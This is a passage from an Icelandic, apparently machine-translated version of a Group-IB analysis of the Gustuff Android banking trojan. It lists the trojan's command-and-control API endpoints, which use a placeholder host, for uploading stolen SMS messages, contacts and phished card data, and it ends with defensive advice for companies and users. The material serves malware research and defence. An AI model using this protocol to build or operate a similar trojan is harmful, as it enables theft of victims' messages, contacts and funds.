Til að bregðast við því sendir þjónninn SOCKS5 skilaboð sem innihalda heimilisfang ytri netþjónsins sem tengingin verður að koma á. Samskipti við þennan netþjón eiga sér stað í gegnum bekkinn enda. Tengingaruppsetningin er hægt að sýna á skýringarmynd sem hér segir:

Hvernig Android Trojan Gustuff rennir rjómanum (fiat og crypto) af reikningunum þínum

Netsamskipti

Til að koma í veg fyrir umferðargreiningu með netsneiðara er hægt að vernda samskipti CnC netþjónsins og forritsins með því að nota SSL samskiptareglur. Öll send gögn bæði frá og til netþjónsins eru kynnt á JSON sniði. Forritið framkvæmir eftirfarandi beiðnir meðan á aðgerð stendur:

  • http://<%CnC%>/api/v1/set_state.php — niðurstaða framkvæmdar skipunarinnar.
  • http://<%CnC%>/api/v1/get.php — að fá skipun.
  • http://<%CnC%>/api/v1/load_sms.php — að hlaða niður SMS skilaboðum úr sýktu tæki.
  • http://<%CnC%>/api/v1/load_ab.php — að hlaða upp lista yfir tengiliði úr sýktu tæki.
  • http://<%CnC%>/api/v1/aevents.php – beiðnin er gerð þegar færibreytur eru uppfærðar í forstillingarskránni.
  • http://<%CnC%>/api/v1/set_card.php — hlaða upp gögnum sem aflað er með vefveiðarglugga sem líkist Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - hlaða upp gagnaskrárgögnum.
  • http://<%CnC%>/api/v1/records.php – hlaða upp gögnum sem fengin eru í gegnum vefveiðarglugga.
  • http://<%CnC%>/api/v1/set_error.php – tilkynning um villu sem hefur átt sér stað.

Tillögur

Til að vernda viðskiptavini sína gegn ógn af farsímum Tróverji verða fyrirtæki að nota alhliða lausnir sem gera þeim kleift að fylgjast með og koma í veg fyrir illgjarn virkni án þess að setja upp viðbótarhugbúnað á notendatækjum.

Til að gera þetta þarf að styrkja undirskriftaraðferðir til að greina farsíma Tróverji með tækni til að greina hegðun bæði viðskiptavinarins og forritsins sjálfs. Vörnin ætti einnig að fela í sér auðkenningaraðgerð tækja sem notar stafræna fingrafaratækni, sem gerir það mögulegt að skilja hvenær reikningur er notaður úr óhefðbundnu tæki og hefur þegar fallið í hendur svikara.

Grundvallarmikilvægur punktur er framboð á greiningu yfir rásir, sem gerir fyrirtækjum kleift að stjórna áhættu sem myndast ekki aðeins á internetinu, heldur einnig á farsímarásinni, til dæmis í forritum fyrir farsímabankastarfsemi, fyrir viðskipti með dulritunargjaldmiðla og hvers kyns önnur þar sem viðskipti geta farið fram.

Öryggisreglur fyrir notendur:

  • ekki setja upp forrit fyrir farsíma með Android OS frá öðrum aðilum en Google Play, gæta sérstaklega að þeim réttindum sem forritið biður um;
  • setja upp Android OS uppfærslur reglulega;
  • gaum að framlengingum niðurhalaðra skráa;
  • ekki heimsækja grunsamlegar auðlindir;
  • Ekki smella á tengla sem berast í SMS skilaboðum.

Aðalleikarar Semyon Rogacheva, yngri sérfræðingur í rannsóknum á spilliforritum við Group-IB Computer Forensics Laboratory.

Heimild: www.habr.com

Bæta við athugasemd